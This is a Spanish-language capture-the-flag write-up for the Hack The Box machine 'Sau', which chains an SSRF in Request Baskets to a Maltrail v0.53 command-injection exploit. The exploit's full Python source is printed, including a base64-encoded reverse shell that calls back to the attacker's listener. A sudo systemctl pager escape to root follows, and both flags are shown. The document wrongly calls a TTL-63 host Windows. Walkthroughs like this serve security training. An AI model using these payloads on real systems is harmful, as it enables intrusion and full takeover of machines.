Sau [EASYš¢]
Dificultad: FƔcil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# ping -c 1 10.10.11.224
PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data.
64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=171 ms
--- 10.10.11.224 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.711/170.711/170.711/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# nmap -sCV -sS --min-rate 5000 -p- -open -n -Pn -vvv 10.10.11.224 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 23:41 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
Initiating SYN Stealth Scan at 23:41
Scanning 10.10.11.224 [65535 ports]
Discovered open port 22/tcp on 10.10.11.224
Discovered open port 55555/tcp on 10.10.11.224
Completed SYN Stealth Scan at 23:41, 14.73s elapsed (65535 total ports)
Initiating Service scan at 23:41
Scanning 2 services on 10.10.11.224
Completed Service scan at 23:42, 30.62s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.224.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 5.17s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.37s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Nmap scan report for 10.10.11.224
Host is up, received user-set (0.18s latency).
Scanned at 2025-03-06 23:41:26 -03 for 51s
Not shown: 65531 closed tcp ports (reset), 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdY38bkvujLwIK0QnFT+VOKT9zjKiPbyHpE+cVhus9r/6I/uqPzLylknIEjMYOVbFbVd8rTGzbmXKJBdRK61WioiPlKjbqvhO/YTnlkIRXm4jxQgs+xB0l9WkQ0CdHoo/Xe3v7TBije+lqjQ2tvhUY1LH8qBmPIywCbUvyvAGvK92wQpk6CIuHnz6IIIvuZdSklB02JzQGlJgeV54kWySeUKa9RoyapbIqruBqB13esE2/5VWyav0Oq5POjQWOWeiXA6yhIlJjl7NzTp/SFNGHVhkUMSVdA7rQJf10XCafS84IMv55DPSZxwVzt8TLsh2ULTpX8FELRVESVBMxV5rMWLplIA5ScIEnEMUR9HImFVH1dzK+E8W20zZp+toLBO1Nz4/Q/9yLhJ4Et+jcjTdI1LMVeo3VZw3Tp7KHTPsIRnr8ml+3O86e0PK+qsFASDNgb3yU61FEDfA0GwPDa5QxLdknId0bsJeHdbmVUW3zax8EvR+pIraJfuibIEQxZyM=
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEFMztyG0X2EUodqQ3reKn1PJNniZ4nfvqlM7XLxvF1OIzOphb7VEz4SCG6nXXNACQafGd6dIM/1Z8tp662Stbk=
| 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYYQRfQHc6ZlP/emxzvwNILdPPElXTjMCOGH6iejfmi
55555/tcp open http syn-ack ttl 63 Golang net/http server
| http-methods:
|_ Supported Methods: GET OPTIONS
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Fri, 07 Mar 2025 02:42:04 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Fri, 07 Mar 2025 02:41:46 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Fri, 07 Mar 2025 02:41:47 GMT
| Content-Length: 0
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%I=7%D=3/6%Time=67CA5CEB%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Fri,\x2007\x20Mar\x202
SF:025\x2002:41:46\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we
SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Fri,\x2007\x20Mar\x202
SF:025\x2002:41:47\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20B
SF:ad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nDate:\x20Fri,\x2007\x20Mar\x202025\x20
SF:02:42:04\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20na
SF:me;\x20the\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-
SF:_\\\.\]{1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,
SF:A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20required\x20Host\
SF:x20header\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Hos
SF:t\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.01s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.34 seconds
Raw packets sent: 71983 (3.167MB) | Rcvd: 71974 (2.879MB)
Puerto 22 correspondiente a un servidor SSH para control remoto mediante linea de comandos y puerto 55555 correspondiente a un servidor web
Vamos a ver si esta maquina contiene puertos filtrados quitando el parƔmetro "--open" de Nmap :
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdY38bkvujLwIK0QnFT+VOKT9zjKiPbyHpE+cVhus9r/6I/uqPzLylknIEjMYOVbFbVd8rTGzbmXKJBdRK61WioiPlKjbqvhO/YTnlkIRXm4jxQgs+xB0l9WkQ0CdHoo/Xe3v7TBije+lqjQ2tvhUY1LH8qBmPIywCbUvyvAGvK92wQpk6CIuHnz6IIIvuZdSklB02JzQGlJgeV54kWySeUKa9RoyapbIqruBqB13esE2/5VWyav0Oq5POjQWOWeiXA6yhIlJjl7NzTp/SFNGHVhkUMSVdA7rQJf10XCafS84IMv55DPSZxwVzt8TLsh2ULTpX8FELRVESVBMxV5rMWLplIA5ScIEnEMUR9HImFVH1dzK+E8W20zZp+toLBO1Nz4/Q/9yLhJ4Et+jcjTdI1LMVeo3VZw3Tp7KHTPsIRnr8ml+3O86e0PK+qsFASDNgb3yU61FEDfA0GwPDa5QxLdknId0bsJeHdbmVUW3zax8EvR+pIraJfuibIEQxZyM=
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEFMztyG0X2EUodqQ3reKn1PJNniZ4nfvqlM7XLxvF1OIzOphb7VEz4SCG6nXXNACQafGd6dIM/1Z8tp662Stbk=
| 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYYQRfQHc6ZlP/emxzvwNILdPPElXTjMCOGH6iejfmi
80/tcp filtered http no-response
8338/tcp filtered unknown no-response
55555/tcp open http syn-ack ttl 63 Golang net/http server
Podemos ver 2 puertos filtrados, el 80 correspondiente a un servidor y el puerto 8338 desconocido
1.3 whatweb
1.3 whatweb
Vamos a realizar un reconocimiento de las tecnologĆas web que corren por detrĆ”s del servidor web alojado en el puerto 55555
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# whatweb 10.10.11.224:55555
http://10.10.11.224:55555 [302 Found] Country[RESERVED][ZZ], IP[10.10.11.224], RedirectLocation[/web]
http://10.10.11.224:55555/web [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, IP[10.10.11.224], JQuery[3.2.1], PasswordField, Script, Title[Request Baskets]
Podemos ver que la URL "http://10.10.11.224:55555" a secas, nos redirige hacia el recurso del servidor web "web":

Podemos ver en una esquina una tecnologĆa utilizada para crear esta aplicación web:

De resto, no encontramos tecnologĆas webs interesantes, quizĆ”s "Boostrap 3.3.7"
2- Explotación
2.1 Server-Side Request Forgery(SSRF)
2.1 Server-Side Request Forgery(SSRF)
Investigando en internet, encontré que este sitio es vulnerable a SSRF, ósea que podemos utilizar la propia aplicación web o servidor web, ademÔs, encontré que esta SSRF la podemos utilizar para acceder al sitio web alojado en el servidor web del puerto 80 que encontramos filtrado, ya que esta configurado para acceder únicamente desde el localhost, por ende podemos aprovecharnos del SSRF para desde la misma pagina, acceder al sitio web alojado en el puerto 80 que se encuentra filtrado
Pudimos var tambien en parte del reconocimiento que una de las tecnologias utilizadas es "requests-baskests", que es una aplicación para configurar y ver solicitudes y cabeceras de solicitudes web de un sitio web que nosotros le especifiquemos y demas, asi que vamos a irnos a la pagina web:

Vamos a darle en "Create":

"Open Basket":

Vamos a darle al engranaje para entrar a la configuración:

Y aquĆ, podemos aplicar forwarding a la IP local de la maquina(127.0.0.1) POR EL PUERTO 80, y que nos rediriga hacia el sitio web donde lo encontrĆ”bamos filtrado e inaccesible:

"Apply":

Y ahora para enviar solicitud a "basket-requests", nos genera un link que en mi caso es el siguiente:

http://10.10.11.224:55555/u5ggyo7
Con lo cual, como aplicamos forwarding, a la hora de acceder a esta URL, nos va a redirigir al sitio web alojado en el puerto 80:

Podemos ver que no carga del todo la pagina web que esta alojada en el puerto 80, pero si bajamos, reconoceremos otra tecnologia web utilizada para este sitio web alojado en el puerto 80:

"Powered by Maltrail v0.53"
Vamos a revisar el código fuente de este sitio web:

Podemos ver que en el principio del codigo, intenta cargar archivos JavaScript:
<script type="text/javascript" src="js/errorhandler.js"></script>
<script type="text/javascript" src="js/thirdparty.min.js"></script>
<script type="text/javascript" src="js/papaparse.min.js"></script>
Por ende podrĆamos interpretar o dar por entendido que existe un directorio "js" dentro del servidor web, en casi todos los sitios webs o a la hora de desarrollar un sitio web, es comĆŗn almacenar los archivos JavaScript en una carpeta llamada "js", esos archivos JS aparentemente, parecen ser de la tecnologia "Maltrail"
Por ende si cambiamos el URL, del sitio a:
http://10.10.11.224:55555/u5ggyo7/
Lo unico que agregamos es una barra "/", ya que al estar aplicando forwarding y ser redirigido a otro sitio web, por lo general suele interpretarlo de diferente forma, por ejemplo, si yo tengo un "index.html" en mi pagina web, en el caso de que apliquemos forwarding, lo estaria interpretando de la siguiente manera:
http://10.10.11.224:55555/u5ggyo7index.html
Y en el navegador se veria de la siguiente forma:
http://10.10.11.224:55555/u5ggyo7
De tal manera que si nostros agregamos una barra "/" al final, el recurso que esta intentando acceder, se podria leer correctamente:

Ahora si, estarĆamos viendo el servicio interno del puerto 80 que la maquina tenia filtrado
2.2 RCE Maltrail v0.53
2.2 RCE Maltrail v0.53
Investigando vulnerabilidades por internet, descubri que esta versión en concreta de Maltrail es vulnerable a un RCE(Remote Command Execution), por lo que vamos a utilizar un exploit de GitHub, un script en Python que mediante un curl al sitio web que realiza el forwarding, es posible que mediante el campo de "Username" del login de la aplicación web, podamos obtener ejecución remota de comandos
CrƩditos al creador del repositorio
'''
āāāāāā āāāāāā āāāāāā āāāāāā āā āāā āāāāāāāāā āāāāāā
āāā ā āāāā āāāāāāā āāāāāāā āāā āāāāā āāāāāā ā āāā ā āāā
ā āāāā āāāā āāāāāāāā āāāāāāā āāāāāāāāā āāāāāāāā āāā āāā ā
ā āāāāāāāāāā āāāā āāāāāā āāāāāā āā āāāāāāā ā āāāāāāā
āāāāāāāāāāāāā ā āā āāāāāāāā āāāāāāāāāāā āāāāāāāāāāāāāāāāā āāāā
ā āāā ā āāāāā ā āā āāāāāā ā āāāāāā ā āā āāāā āā āā āā āā āāāā
ā āā ā āāā ā ā ā āā ā ā āā ā āā āā ā ā ā ā ā āā ā āā
ā ā ā āā ā ā ā ā ā ā ā ā ā āā ā ā ā ā āā ā
ā ā ā ā ā ā ā ā ā ā ā
'''
import sys;
import os;
import base64;
def main():
listening_IP = None
listening_PORT = None
target_URL = None
if len(sys.argv) != 4:
print("Error. Needs listening IP, PORT and target URL.")
return(-1)
listening_IP = sys.argv[1]
listening_PORT = sys.argv[2]
target_URL = sys.argv[3] + "/login"
print("Running exploit on " + str(target_URL))
curl_cmd(listening_IP, listening_PORT, target_URL)
def curl_cmd(my_ip, my_port, target_url):
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
os.system(command)
if __name__ == "__main__":
main()
Vamos a bajarnoslo con "wget":
wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
--2025-03-07 00:47:12-- https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2200 (2,1K) [text/plain]
Grabando a: «exploit.py»
exploit.py 100%[====================================================>] 2,15K --.-KB/s en 0s
2025-03-07 00:47:12 (37,1 MB/s) - «exploit.py» guardado [2200/2200]
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# ls
escaneo.txt exploit.py
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā#
Y vamos a ejecutar el exploit, pero antes vamos a consultar los parametros que tendriamos que pasarle:
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# python3 exploit.py --help
Error. Needs listening IP, PORT and target URL.
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā#
Vemos que necesitamos pasarle la IP donde vamos a ponernos en escucha, el puerto y por ultimo la URL donde se encuentra el login de Maltrail, que en este caso vamos a pasarle la URL que realiza forwarding al servicio 80 interno de la maquina
Vamos a ponernos en escucha con netcat por el puerto 443:
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# nc -nlvp 443
listening on [any] 443 ...
Y vamos a ejecutar el exploit con el siguiente comando:
python3 exploit.py {IP VPN HTB} {Puerto netcat} {URL Forwarding}
En mi caso quedarĆa de la siguiente manera:
python3 exploit.py 10.10.14.12 443 http://10.10.11.224:55555/u5ggyo7
Ejecutamos:
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# python3 exploit.py 10.10.14.12 443 http://10.10.11.224:55555/u5ggyo7
Running exploit on http://10.10.11.224:55555/u5ggyo7/login
Se nos va a quedar como cargando, pero si vamos a la consola donde teniamos netcat en escucha por el puerto 443:
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.224] 44358
$
Ya tendremos una reverse shell
2.3 Tratamiento de la TTY
2.3 Tratamiento de la TTY
Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)
"script /dev/null -c bash"
:
āāā(rootćækali)-[/home/t0mz/ctf/sau]
āā# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.224] 53672
$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
puma@sau:/opt/maltrail$
CTRL + Z:
activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended nc -nlvp 443
āāā(rootćæt0mz)-[/home/kali/ctf/broker]
āā#
Y vamos a ejecutar el siguiente comando:
stty raw -echo; fg
Ejecutamos:
āāā(rootćæt0mz)-[/home/kali/ctf/broker]
āā# stty raw -echo; fg
[1] + continued nc -nlvp 443
Y ahora ejecutamos:
reset xterm
Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:
puma@sau:/opt/maltrail$
Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:
puma@sau:/opt/maltrail$ export SHELL=bash
puma@sau:/opt/maltrail$ export TERM=xterm
puma@sau:/opt/maltrail$
Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL"
o "echo $TERM"
:
puma@sau:/opt/maltrail$ echo $SHELL
bash
puma@sau:/opt/maltrail$ echo $TERM
xterm
puma@sau:/opt/maltrail$
El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
2.4 Obtención de la flag user
2.4 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "/home/puma/user.txt"
, vamos a visualizar la flag:
puma@sau:/opt/maltrail$ cat /home/puma/user.txt
cat /home/puma/user.txt
417b6cf709d3d391ab085930fa9604bb
puma@sau:/opt/maltrail$
3- Escalado de privilegios
3.1 sudo -l
3.1 sudo -l
Para verificar los comandos que podemos ejecutar dentro del usuario "puma" de la reverse shell que acabamos de obtener, vamos a ejecutar el comando "sudo -l"
:
puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/opt/maltrail$
Podemos ejecutar el comando "/usr/bin/systemctl status trail.service"
como si fuƩsemos usuarios root, sin proporcionar la contraseƱa:
ma@sau:/opt/maltrail$ /usr/bin/systemctl status trail.service
ā trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Fri 2025-03-07 02:31:32 UTC; 1h 39min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 898 (python3)
Tasks: 11 (limit: 4662)
Memory: 130.8M
CGroup: /system.slice/trail.service
āā 898 /usr/bin/python3 server.py
āā1399 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
āā1400 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
āā1403 sh
āā1404 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
āā1405 /bin/sh
āā1406 script /dev/null -c bash
āā1407 bash
āā1424 /usr/bin/systemctl status trail.service
āā1425 pager
Mar 07 03:37:33 sau maltrail[1285]: Failed password for ; from 127.0.0.1 port 4>
Mar 07 03:38:50 sau maltrail[1310]: Failed password for ; from 127.0.0.1 port 3>
Mar 07 03:38:59 sau maltrail[1313]: Failed password for None from 127.0.0.1 por>
puma@sau:/opt/maltrail$
3.2 sudoers & paginate
3.2 sudoers & paginate
Vamos a ejecutar "/usr/bin/systemctl status trail.service"
abusando de que podemos ejecutarlo como root, y con el formato paginado que nos lo muestra, vamos a abrirnos una bash como usuarios root
Por ejemplo:
Vamos a ejecutar "/usr/bin/systemctl status trail.service"
pero con "sudo"
al principio:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
ā trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Fri 2025-03-07 02:31:32 UTC; 1h 50min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 898 (python3)
Tasks: 12 (limit: 4662)
Memory: 268.6M
CGroup: /system.slice/trail.service
āā 898 /usr/bin/python3 server.py
āā1399 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
āā1400 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
āā1403 sh
āā1404 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
āā1405 /bin/sh
āā1406 script /dev/null -c bash
āā1407 bash
āā1563 sudo /usr/bin/systemctl status trail.service
āā1564 /usr/bin/systemctl status trail.service
āā1565 pager
Mar 07 03:38:59 sau maltrail[1313]: Failed password for None from 127.0.0.1 por>
Mar 07 04:09:19 sau sudo[1419]: puma : TTY=pts/1 ; PWD=/opt/maltrail ; USER>
lines 1-23
De tal manera que se queda esperando a que bajemos:

Pero en realidad, esto es como utilizar el editor de Vim, si nosotros escribimos "!/bin/sh"
:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
ā trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Fri 2025-03-07 02:31:32 UTC; 1h 53min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 898 (python3)
Tasks: 12 (limit: 4662)
Memory: 269.8M
CGroup: /system.slice/trail.service
āā 898 /usr/bin/python3 server.py
āā1399 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
āā1400 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
āā1403 sh
āā1404 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
āā1405 /bin/sh
āā1406 script /dev/null -c bash
āā1407 bash
āā1619 sudo /usr/bin/systemctl status trail.service
āā1620 /usr/bin/systemctl status trail.service
āā1621 pager
Mar 07 04:18:55 sau sudo[1451]: puma : TTY=pts/1 ; PWD=/opt/maltrail ; USER>
Mar 07 04:18:55 sau sudo[1451]: pam_unix(sudo:session): session opened for user>
!/bin/sh

Ejecutamos:
!/bin/sh
# whoami
root
#
Obtendremos una shell como root, ahora vamos a obtener un prompt:
# script /dev/null -c bash
Script started, file is /dev/null
root@sau:/opt/maltrail#
3.3 Obtención de la flag root
3.3 Obtención de la flag root
La flag de root se encuentra dentro de la ruta absoluta "/root/root.txt"
, vamos a visualizarla:
root@sau:/opt/maltrail# cat /root/root.txt
3f9e09869a99c37e57785f53576273e4
root@sau:/opt/maltrail#
Con esto, concluimos la maquina "Sau" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Ćltima actualización